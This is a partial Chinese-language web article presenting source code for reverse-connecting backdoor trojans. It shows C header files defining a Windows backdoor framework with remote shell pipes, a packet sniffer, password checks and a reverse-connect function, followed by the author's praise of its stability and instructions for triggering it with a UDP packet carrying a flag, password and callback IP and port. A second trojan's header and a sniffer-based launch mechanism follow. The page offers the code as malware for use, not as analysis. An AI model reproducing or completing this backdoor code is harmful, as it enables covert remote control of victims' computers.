• 当前位置:首页>>编程开发A>>安全防御>>五个反弹后门的源代码
  • 五个反弹后门的源代码
  • 还要来一个就是程序的头文件, 如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <winsock2.h>
    #include <windows.h>

    //用户结构
    typedef struct _USERCONTSTK{
       int     getCMD;
       char*   buff;
       int     ExitIn;
       int     Bann;
       SOCKET  UserSck;
       HANDLE  UserThreadHdB;          
       HANDLE  hWritePipe;        
       HANDLE  hWriteFile;            
       HANDLE  hReadPipe;          
       HANDLE  hReadFile;          
       SECURITY_ATTRIBUTES pipeattrA;  
       SECURITY_ATTRIBUTES pipeattrB;  
       PROCESS_INFORMATION procinfo;  
    }USERCONTSTK,*PUSERCONTSTK;

    //后门参数结构
    typedef struct _MAINPARAMETERSTK{
       char szUserPasd[100];
       char KeyData[100];
    }MAINPARAMETERSTK,*PMAINPARAMETERSTK;

    //嗅探数据结构
    typedef struct _SNIFFERDATASTK{
       char name[100];
       char szIp[100];
       char nPort[100];
    }SNIFFERDATASTK,*PSNIFFERDATASTK;

    //ip头部结构
    typedef struct _iphdr {
       unsigned char h_lenver;    
       unsigned char tos;      
       unsigned short total_len;  
       unsigned short ident;      
       unsigned short frag_and_flags;
       unsigned char ttl;      
       unsigned char proto;        
       unsigned short checksum;    
       unsigned int sourceIP;      
       unsigned int destIP;        
    }IP_HEADER;

    //tcp头部结构
    typedef struct _tcphdr {
       USHORT th_sport;        
       USHORT th_dport;        
       unsigned int th_seq;        
       unsigned int th_ack;        
       unsigned char th_lenres;    
       unsigned char th_flag;      
       USHORT th_win;          
       USHORT th_sum;          
       USHORT th_urp;          
    }TCP_HEADER;

    //udp头部结构
    typedef struct _udphdr {
       unsigned short uh_sport;    
       unsigned short uh_dport;    
       unsigned short uh_len;      
       unsigned short uh_sum;      
    } UDP_HEADER;

    //icmp头部结构
    typedef struct _icmphdr {
       BYTE  i_type;          
       BYTE  i_code;          
       USHORT i_cksum;        
       USHORT i_id;            
       USHORT i_seq;          
       ULONG timestamp;        
    }ICMP_HEADER;

    //一些变量和函数的声名
    extern MAINPARAMETERSTK mpStk;

    extern void ConCloseSocket(SOCKET *Sock);
    extern int LocalListen(SOCKET Sock);
    extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
    extern int SetSocketDll(void);
    extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
    extern void rnvCasemsg(SOCKET Sock, char *msg);
    extern void rnvErrorID(SOCKET Sock, char *msg);
    extern void ConDel1013(char *str);
    extern short chkPass(char *pass);
    extern short getcmdline(char *comm, char *cmdline, short cont, short num);
    extern int msGetip(char *ipin, char* ipout);
    extern void ConCloseHandle(HANDLE *Hand);
    extern void xfree(char *bf);

      所有的公共函数都在这里面.

    后语:

      之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.

      另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.

      以下是编译好后测试的一张图:
    主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop".

      发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是:

      代码:
      www.s8s8.net zvrop 192.168.1.2 8888

      分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开. 注意顺序不要颠倒.

    第五个反弹木马代码:作者weibo


    代码

    headerf.h

    这里面放了公共函数,还有一些声明

    #ifndef _BDH_
    #define _BDH_
    #include
    #include
    #include
    #include
    #pragma comment(lib,"ws2_32.lib")
    #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

    typedef struct _iphdr{
    unsigned char h_lenver;
    unsigned char tos;
    unsigned short total_len;
    unsigned short ident;
    unsigned short frag_and_frag;
    unsigned char ttl;
    unsigned char proto;
    unsigned short checksum;
    unsigned int sourceIP;
    unsigned int destIP;
    }IP_HEADER;

    typedef struct _udphdr{
    unsigned short uh_sport;
    unsigned short uh_dport;
    unsigned short uh_len;
    unsigned short uh_sum;
    }UDP_HEADER;


    extern int StartSniffer();
    extern void StartWSA();
    extern void returnMessage(SOCKET *Sock,char *msg);
    extern void CreatePipeInSock();
    extern int SetSocketHandle(SOCKET *Sock);
    extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

    #endif

      这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程. 对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

      最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
    sniffer.cpp

    代码

  • 上一篇:MSN小尾巴病毒分析及清除方案
    下一篇:无驱动执行Ring0代码